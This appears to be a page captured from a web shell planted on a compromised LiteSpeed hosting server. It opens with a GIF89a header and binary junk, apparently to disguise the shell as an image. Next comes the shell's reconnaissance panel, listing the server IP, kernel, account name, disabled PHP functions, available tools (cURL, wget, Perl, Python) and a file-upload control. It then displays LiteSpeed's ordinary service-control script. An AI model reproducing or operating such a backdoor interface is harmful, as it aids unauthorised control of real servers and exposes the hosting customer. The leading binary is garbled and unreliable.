GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 3.144.224.116 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /usr/local/lsws/bin/ |
Upload File : |
#!/bin/sh # resolve links - $0 may be a softlink PROG="$0" PIDFILE=/tmp/lshttpd/lshttpd.pid GRACEFUL_PIDFILE=/tmp/lshttpd/graceful.pid #if [ -d "/usr/local/cpanel" ]; then # WSWATCH=1 #fi DEF_UMASK=`umask` if [ "x$DEF_UMASK" = "x077" ]; then umask 022 fi EXECUTABLE=litespeed DESC="litespeed" BASE_DIR=`dirname "$PROG"` cd "$BASE_DIR" BASE_DIR=`pwd` RESTART_LOG="$BASE_DIR/../logs/lsrestart.log" if [ ! -x "$BASE_DIR"/"$EXECUTABLE" ]; then echo "[ERROR] Cannot find $BASE_DIR/$EXECUTABLE" exit 1 fi SYS_NAME=`uname -s` if [ "x$SYS_NAME" = "xFreeBSD" ] || [ "x$SYS_NAME" = "xDarwin" ] ; then PS_CMD="ps -ax" else PS_CMD="ps -ef" fi test_running() { RUNNING=0 if [ -f $PIDFILE ] ; then FPID=`cat $PIDFILE` if [ "x$FPID" != "x" ]; then kill -0 $FPID 2>/dev/null if [ $? -eq 0 ] ; then RUNNING=1 PID=$FPID fi fi fi RESTARTING=0 if [ -f "$BASE_DIR"/"../admin/tmp/.restart" ]; then RESTARTING=1 fi } ret=0 killwatch() { WATCH_PROCS=`$PS_CMD | grep wswatch.sh | grep -v grep | wc -l` # if [ $WATCH_PROCS -gt 0 ]; then # pkill wswatch.sh # fi } start() { if [ -f "get_trial_key.sh" ]; then ./get_trial_key.sh fi killwatch if [ -f "$PIDFILE" ]; then PID=`cat $PIDFILE` else PID="" fi ./$EXECUTABLE ret=$? if [ $ret -eq 0 ]; then NEW_PID=`cat $PIDFILE` if [ "x$NEW_PID" = "x$PID" ] || [ "x$NEW_PID" = "x" ]; then sleep 1 NEW_PID=`cat $PIDFILE` fi echo "[OK] $DESC: pid=$NEW_PID." test_running if [ "x$WSWATCH" = "x1" ]; then ./wswatch.sh & fi else echo "[ERROR] Failed to start $DESC!" fi } stop() { killwatch kill -USR2 $PID kill $PID ret=$? if [ $ret -eq 0 ]; then # if [ -f $PIDFILE ]; then # sleep 1 # fi echo "[OK] $DESC: stopped." else echo "[ERROR] can not kill $DESC" fi } delay_stop() { killwatch kill -USR2 $PID kill -HUP $PID ret=$? if [ $ret -eq 0 ]; then # if [ -f $PIDFILE ]; then # sleep 1 # fi echo "[OK] $DESC: graceful stop." else echo "[ERROR] can not kill $DESC" fi } do_restart() { if [ $RUNNING -eq 1 ]; then kill -USR1 $PID ret=$? if [ $ret -ne 0 ]; then echo "[ERROR] cannot gracefully restart $DESC" else echo "[OK] Send SIGUSR1 to $PID" sleep 1 fi else start fi } log7080() { if [ "x$SYS_NAME" = "xLinux" ]; then echo "checking port 7080 usage with netstat" >> $RESTART_LOG netstat -anp | grep 7080 >> $RESTART_LOG echo "checking port 7080 usage with lsof" >> $RESTART_LOG lsof -i TCP:7080 >> $RESTART_LOG fi } restart() { SPID=$PID TRY=1 if [ $RUNNING -eq 1 ]; then do_restart if [ $RESTARTING -eq 1 ]; then exit 0 fi sleep 2 test_running else if [ $RESTARTING -eq 1 ]; then if [ -f $GRACEFUL_PIDFILE ]; then GPID=`cat $GRACEFUL_PIDFILE` if [ "x$GPID" != 'x' ]; then if [ $GPID -ne 0 ] && [ $GPID -ne 1 ]; then pkill -9 $EXECUTABLE fi fi fi fi start sleep 2 test_running fi while [ $TRY -lt 15 ] && [ "x$PID" = "x$SPID" ]; do TRY=`expr $TRY + 1` sleep 1 test_running done if [ $RUNNING -eq 0 ]; then echo "LSWS does not restart properly, check port 7080" >> $RESTART_LOG #log7080 pkill -9 $EXECUTABLE sleep 1 echo "check port 7080 after kill all $EXECUTABLE processes " >> $RESTART_LOG #log7080 start fi } reload() { restart # kill -HUP $PID # ret=$? # if [ $ret -eq 0 ]; then # echo "[OK] $DESC: configuration reloaded" # else # echo "[ERROR] Can't send SIGHUP to $DESC" # fi } help() { echo $"Usage: $PROG {start|stop|restart|reload|condrestrt|try-restart|status|help}" cat <<EOF start - start web server stop - stop web server restart - gracefully restart web server with zero down time reload - same as restart delay-stop - stop web server after 2 seconds timeout condrestart - gracefully restart web server if server is running try-restart - same as condrestart fullrestart - do full stop then start status - show service status help - this screen EOF } test_running date >> $RESTART_LOG echo "$1, LSWS running: $RUNNING" >> $RESTART_LOG case "$1" in start|restart) restart ;; condrestart) if [ $RUNNING -eq 1 ]; then restart fi ;; fullrestart) if [ $RUNNING -eq 1 ]; then service lsws stop sleep 1 test_running service lsws start fi ;; try-restart) if [ $RUNNING -eq 1 ]; then restart pkill wswatch.sh 2>/dev/null nohup ./wswatch.sh 2>/dev/null & fi ;; status) if [ $RUNNING -eq 1 ]; then echo "$DESC is running with PID $PID." else echo "[ERROR] $DESC is not running." ret=3 fi ;; stop) if [ $RUNNING -eq 0 ]; then sleep 1 test_running fi if [ $RUNNING -eq 1 ]; then stop else echo "[ERROR] $DESC is not running." ret=1 fi ;; delay-stop) if [ $RUNNING -eq 0 ]; then sleep 1 test_running fi if [ $RUNNING -eq 1 ]; then delay_stop else echo "[ERROR] $DESC is not running." ret=1 fi ;; stophttpd) if [ $RUNNING -eq 1 ]; then kill $PID fi ;; reload|graceful) reload ;; *) help ret=3 ;; esac exit $ret